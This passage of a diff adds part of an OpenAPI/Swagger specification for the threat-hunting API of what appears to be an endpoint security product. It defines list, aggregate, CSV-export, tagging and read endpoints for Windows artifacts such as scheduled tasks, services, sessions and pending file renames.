+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ScheduledTaskXML'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskXMLAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ScheduledTaskXMLAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ScheduledTaskXMLAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ScheduledTaskXMLAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ScheduledTaskXMLAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ScheduledTaskXMLAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ScheduledTaskXML'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SecurityProvider/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SecurityProvider_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SecurityProvider'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SecurityProvider/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SecurityProvider_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SecurityProvider/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SecurityProvider_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/SecurityProvider/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SecurityProvider_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SecurityProvider'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SecurityProviderAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_SecurityProviderAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SecurityProvider'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SecurityProviderAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SecurityProviderAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SecurityProviderAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SecurityProviderAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/SecurityProviderAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SecurityProviderAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SecurityProvider'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Service/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Service_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Service'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Service/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Service_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Service/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Service_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Service/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Service_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Service'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ServiceAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ServiceAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Service'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ServiceAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ServiceAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ServiceAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ServiceAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ServiceAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ServiceAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Service'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ServiceControlManager/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ServiceControlManager_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ServiceControlManager'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ServiceControlManager/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ServiceControlManager_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ServiceControlManager/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ServiceControlManager_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ServiceControlManager/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ServiceControlManager_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ServiceControlManager'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ServiceControlManagerAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ServiceControlManagerAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ServiceControlManager'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ServiceControlManagerAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ServiceControlManagerAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ServiceControlManagerAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ServiceControlManagerAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ServiceControlManagerAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ServiceControlManagerAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ServiceControlManager'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Session/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Session_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Session'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Session/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Session_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Session/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Session_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Session/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Session_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Session'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SessionAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_SessionAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Session'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SessionAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SessionAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/SessionAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Session'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SessionManager_Execute/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionManager_Execute_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SessionManager_Execute'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_Execute/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SessionManager_Execute_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_Execute/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SessionManager_Execute_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/SessionManager_Execute/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionManager_Execute_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SessionManager_Execute'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SessionManager_ExecuteAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_SessionManager_ExecuteAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SessionManager_Execute'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_ExecuteAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SessionManager_ExecuteAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_ExecuteAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SessionManager_ExecuteAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/SessionManager_ExecuteAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionManager_ExecuteAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SessionManager_Execute'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperation/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperation_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SessionManager_PendingFileRenameOperation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperation/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperation_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperation/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperation_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperation/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SessionManager_PendingFileRenameOperation'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperationAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperationAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
